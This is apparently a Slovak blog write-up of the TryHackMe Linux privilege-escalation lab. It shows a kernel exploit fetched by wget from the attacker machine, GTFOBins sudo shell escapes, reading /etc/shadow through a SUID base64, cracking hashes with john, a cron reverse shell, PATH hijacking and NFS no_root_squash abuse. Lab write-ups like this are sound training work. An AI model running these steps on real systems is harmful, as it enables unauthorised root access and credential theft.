Príspevok

TryHackMe - Eskalácia privilégií v Linuxe

Množstvo rôznych spôsobov eskalácie privilégií v Linuxe

TryHackMe - Eskalácia privilégií v Linuxe

Úvod

Eskalácia privilégií je pri penetračnom testovaní / hackovaní vo všeobecnosti nevyhnutnosťou, pretože je to spôsob, ako získať úplný prístup k cieľu.

Tryhackme Room Link

Čo je Eskalácia Privilégií?

  • Eskalácia privilégií je proces získania vyšších privilégií prístupu alebo povolení v systéme, ako boli pôvodne udelené.

2 Hlavné Typy Eskalácie Privilégií:

  1. Vertikálna Eskalácia (Zvýšenie privilégií) – Útočník získa oprávnenia vyššej úrovne, ako napríklad prechod zo štandardného používateľského účtu na administrátora alebo prístup na úrovni root. Často sa to stáva zneužívaním softvérových zraniteľností, nesprávnou konfiguráciou alebo krádežou prihlasovacích údajov.

  2. Horizontálna Eskalácia – Útočník zostáva na rovnakej úrovni privilégií, ale získa prístup k účtu alebo prostriedkom iného používateľa. Bežný používateľ môže napríklad získať prístup k súkromným údajom iného používateľa.

Enumerácia

Spustite stroj a získajte k nemu prístup cez ssh pomocou poskytnutých prihlasovacích údajov

1
2
ssh karen@10.10.151.202
Password1

Miestnosť nás informuje o nasledujúcich základných linuxových enumeračných príkazoch

  • hostname – názov cieľového počítača
  • uname -a - vypíše systémové informácie a ďalšie podrobnosti o jadre systému
  • /proc/version - zobrazí verziu jadra a detaily buildu
  • /etc/issue – zobrazuje identifikačný text systému (verzia OS)
  • ps – zoznam spustených procesov
  • env – zobrazuje premenné prostredia
  • sudo -l – zoznam povolených príkazov sudo pre užívateľa
  • ls – zoznam súborov a adresárov
  • id – zobrazuje ID používateľov a skupín
  • /etc/passwd – obsahuje informácie o používateľskom účte
  • history – zobrazuje predtým vykonané príkazy
  • ifconfig – zobrazuje podrobnosti sieťového rozhrania (zastarané, použite ip a)
  • netstat – zobrazuje sieťové pripojenia a porty (zastarané, použite ss)
  • find – hľadá súbory a adresáre

Aký je názov cieľového systému?

1
2
hostname
wade7363

Odpoveď:

1
wade7363

Aká je verzia linuxového jadra cieľového systému?

1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Odpoveď:

1
3.13.0-24-generic

Čo je to za Linux?

1
2
cat /etc/issue
Ubuntu 14.04 LTS

Odpoveď:

1
Ubuntu 14.04 LTS

Aká verzia jazyka Python je nainštalovaná v systéme?

1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

Odpoveď:

1
2.7.6

Aká zraniteľnosť zrejme ovplyvňuje jadro cieľového systému? (Zadajte číslo CVE)

Ak chcete odpovedať na túto otázku, vyhľadajte si verziu jadra Google a pridajte CVE

CVE

Odpoveď:

1
CVE-2015-1328

Automatizované nástroje pre enumeráciu

Je dobré vedieť, aké automatizačné nástroje sú k dispozícii, osobne som použil iba LinPeas:

  1. LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum: https://github.com/rebootuser/LinEnum
  3. LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
  4. Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
  5. Linux Priv Checker: https://github.com/linted/linuxprivchecker

Privilege Escalation: Kernel Exploits

OK, takže miestnosť nám v podstate hovorí, aby sme použili CVE, ktoré sme našli, naše ďalšie kroky sú:

  1. Stiahnuť si exploit z exploit.db
  2. Získať exploit do nášho stroja na obete
  3. Skompilovať ho a spustite

Po stiahnutí exploitu si lokálne spustíme python http server, kde je súbor, aby sme si ho mohli stiahnuť do našej mašiny obete

Útočníkov stroj

1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Stroj obete (Najprv musíme prejsť do priečinka /tmp, pretože nikde inde nemáme práva na zápis)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[=====================================================================>] 5,119       --.-K/s   in 0s      

2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id  
uid=0(root) gid=0(root) groups=0(root),1001(karen)

A získavame prvú vlajku

Flag 1

Eskalácia Privilégií: Sudo

Pozrime sa, čo môžeme spustiť ako sudo

1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

Koľko programov môže používateľ „karen“ spustiť na cieľovom systéme s právami sudo?

Odpoveď:

1
3

Aký je obsah súboru flag2.txt?

https://gtfobins.github.io/gtfobins/less/

Eskalácia Privilégií pomocou less
  1. Spustíme less ako sudo
  2. Napíšeme !/bin/bash a tým sa vytvorí náš shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)

Less

Eskalácia Privilégií pomocou find

https://gtfobins.github.io/gtfobins/find/#sudo

1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Find

Eskalácia Privilégií pomocou nano

https://gtfobins.github.io/gtfobins/nano/#sudo

  1. Spustíme nano ako sudo
  2. Stlačíme Ctrl + R, Ctrl + X
  3. Napíšeme reset; sh 1>&0 2>&0, enter
  4. Máme root shell

Nano 1

Nano2

A môžeme získať vlajku 2

Nano2

Ako by ste použili Nmap na vytvorenie root shellu, ak by váš používateľ mal práva sudo na nmap?

Odpoveď:

1
sudo nmap --interactive

Aký je hash Frankovho hesla?

Keďže sme už root, poďme si len vypísať súbor shadow

Nano2

Eskalácia Privilégií: SUID

Za normálnych okolností sa konfigurujú povolenia pre súbory a priečinky, ale toto sa mení s SUID (Set-user Identification) Tieto umožňujú spúšťanie súborov s právami vlastníka súboru alebo vlastníka skupiny

Ktorý používateľ zdieľa meno skvelého spisovateľa komiksov?

1
cat /etc/passwd

Writer

Aké je heslo user2?

1
base64 /etc/shadow | base64 --decode | tail

user2

Teraz už len crackneme hash pomocou john

1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt

Password

Aký je obsah súboru flag3.txt?

Zdá sa, že nedokážeme prečítať vlajku priamo, ale na jej prečítanie budeme musieť použiť rovnaký príkaz base64

Flag 3

Eskalácia Privilégií: Capabilities

Koľko binárnych súborov má nastavené možnosti?

OK, keď nás miestnosť navádza na uloženie výstupu do /dev/null, urobíme nasledovné

1
getcap -r / 2>/dev/null

getcap

Aký ďalší binárny súbor možno použiť prostredníctvom jeho schopností?

Miestnosť nám ukazuje exploit pre binárny súbor vim, takže druhý, ktorý možno použiť, je view

Odpoveď:

1
view

Aký je obsah súboru flag4.txt?

1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt

Eskalácia Privilégií: Cron Jobs

3 hlavné body:

  • Cron úlohy spúšťajú skripty v naplánovaných časoch s oprávneniami ich vlastníka
  • Ak úloha cronu vlastnená rootom vykonáva skript, ktorý môžeme upraviť, môžeme si zvýšiť privilégiá
  • Ak chceme zobraziť zoznam aktuálnych úloh, môžeme si pozrieť /etc/crontab

Môžeme cat súbor a máme úžasné vysvetlenie

Crontab

Koľko používateľsky definovaných úloh cron môžete vidieť v cieľovom systéme?

Odpoveď:

1
4

Aký je obsah súboru flag5.txt?

Uložme teda náš reverzný shell skript do súboru backup.sh a počkajme, kým sa spustí cronjob (Nezabudnite spustiť Netcat listener na útočníkovi)

1
nano backup.sh

Crontab

Ok po pár minútach som si uvedomil, že súbor sa nedá spustiť :D pridajme do súboru spustenie

1
chmod +x backup.sh

A po chvíli dostávame spojenie

Shell

Flag5

Aké je Mattovo heslo?

Dobre, takže urobíme nasledovné

  1. cat shadow súbor
  2. Uložíme hash z Mattovho hesla do súboru hash2.txt (v tomto prípade)
  3. Crackneme hash pomocou john

Matt hash

Matt pass

Eskalácia Privilégií: PATH

Základný princíp:

  • Ak je zapisovateľný priečinok v PATH, môžeme uniesť spustiteľné súbory umiestnením škodlivého skriptu s rovnakým názvom ako bežne používaný príkaz
  • Keď systém hľadá príkaz, môže namiesto toho spustiť váš skript, čo môže viesť k eskalácii privilégií

Čo je to za zvláštny priečinok, pre ktorý máte prístup na zápis?

Môžeme skontrolovať, na čo máme prístup na zápis pomocou príkazu find

1
find / -writable 2>/dev/null | tail

Po chvíli nám príkaz dáva výsledky

Path

Odpoveď:

1
/home/murdoch

Aký je obsah súboru flag6.txt?

Ok, chvíľu mi to trvalo, ale dá sa to spraviť nasledovne:

  1. Zmeníme adresár na /home/murdoch
  2. Napíšeme /bin/bash do súboru thm, keďže ho budeme spúšťať
  3. Zobrazíme aktuálnu cestu $PATH (len pre potvrdenie)
  4. Exportujeme premennú cesty a zmeníme ju na aktuálny adresár
  5. Spustíme súbor test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Matt pass

A môžeme nájsť a získať našu vlajku

Matt pass

Eskalácia Privilégií: NFS

Koľko pripojiteľných shares dokážete identifikovať v cieľovom systéme?

Ako prvé musíme pripojiť stroj obete k nášmu stroju útočníka

1
showmount -e 10.10.175.134

NFS 1

Koľko shares má povolenú možnosť „no_root_squash“?

Na stroji obete:

1
cat /etc/exports

NFS 2

Aký je obsah súboru flag7.txt?

Čo teda môžeme urobiť, je:

  1. Vytvoriť priečinok v našom adresári /tmp na pripojenie zdieľania NFS
  2. Pripojiť disk
  3. Vytvoriť súbor skriptu na spustenie /bin/bash
  4. Skompilovať ho a nastaviť mu správne povolenia
  5. Prepnúť na cieľový počítač a spustiť spustiteľný súbor
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell

Capstone Challenge

Zdá sa, že toto je posledná výzva, takže poďme na to.

ssh do stroja a skontrolujme, či môžeme niečo spustiť ako sudo

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for leonard: 
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$ 

Bohužiaľ nie sme schopní spustiť nič ako sudo. Pokračujme teda krokmi, ktoré sme sa naučili.

Fuel CMS

Nie sú k dispozícii žiadne cronjoby Poďme skontrolovať súbory s nastaveným bitom SUID

1
find / -type f -perm -u=s 2>/dev/null

Vlajka 2

Zdá sa, že môžeme znova použiť base64!

base64

Dobre, po niekoľkých pokusoch sme mali šťastie

Flag 2

Vlajka 1

Zdá sa, že flag1.txt sa nachádza niekde inde Pokúsme sa získať heslo užívateľa missy

  1. Získame hash zo súboru /etc/shadow
  2. Crackneme ho pomocou john
1
base64 /etc/shadow | base64 --decode | grep missy

Missy

A crackneme hash pomocou Johna

Missy pass

Takže môžeme sa prihlásiť ako missy a skontrolovať dostupné súbory

1
su missy

A našli sme lokáciu a obsah flag1.txt

Flag 1

Nie som si istý či to malo byť vyriešené práve týmto spôsobom, keďže som vlajky získal v zlom poradí ale stále je viacero spôsobov ako sa dostať k cieľu.

Tento príspevok je licencovaný pod CC BY 4.0 autorom.